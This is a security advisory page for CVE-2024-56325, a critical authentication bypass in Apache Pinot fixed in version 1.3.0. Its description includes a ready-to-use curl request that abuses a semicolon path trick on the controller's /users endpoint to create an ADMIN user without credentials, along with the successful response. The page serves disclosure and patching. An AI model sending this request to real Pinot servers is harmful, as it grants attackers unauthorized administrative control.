Vulnerabilities / CVE-2024-56325

critical

CVE-2024-56325

Apache Pinot Vulnerable to Authentication Bypass

Published Modified CWE 288
In the Trivy database since at least 24 Oct 2026, 07:11 UTCWhen it arrived before that build is not recorded.

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GHSA9.3CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Trivy's own label is CRITICAL. Rated critical by GHSA.

Description

Authentication Bypass Issue If the path does not contain / and contain., authentication is not required. Expected Normal Request and Response Example curl -X POST -H "Content-Type: application/json" -d {\"username\":\"hack2\",\"password\":\"hack\",\"component\":\"CONTROLLER\",\"role\":\"ADMIN\",\"tables\":[],\"permissions\":[],\"usernameWithComponent\":\"hack_CONTROLLER\"} http://{server_ip}:9000/users Return: {"code":401,"error":"HTTP 401 Unauthorized"} Malicious Request and Response Example curl -X POST -H "Content-Type: application/json" -d '{\"username\":\"hack\",\"password\":\"hack\",\"component\":\"CONTROLLER\",\"role\":\"ADMIN\",\"tables\":[],\"permissions\":[],\"usernameWithComponent\":\"hack_CONTROLLER\"}' http://{serverip}:9000/users; http://{serverip}:9000/users; . Return: {"users":{}} A new user gets added bypassing authentication, enabling the user to control Pinot.

Affected packages and fixed versions

SourcePackageFixed in
maven::GitHub Security Advisory Mavenorg.apache.pinot:pinot-broker, org.apache.pinot:pinot-common, org.apache.pinot:pinot-controller1.3.0
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SourcePackageFixed in
maven::GitHub Security Advisory Mavenorg.apache.pinot:pinot-broker1.3.0
maven::GitHub Security Advisory Mavenorg.apache.pinot:pinot-common1.3.0
maven::GitHub Security Advisory Mavenorg.apache.pinot:pinot-controller1.3.0

References

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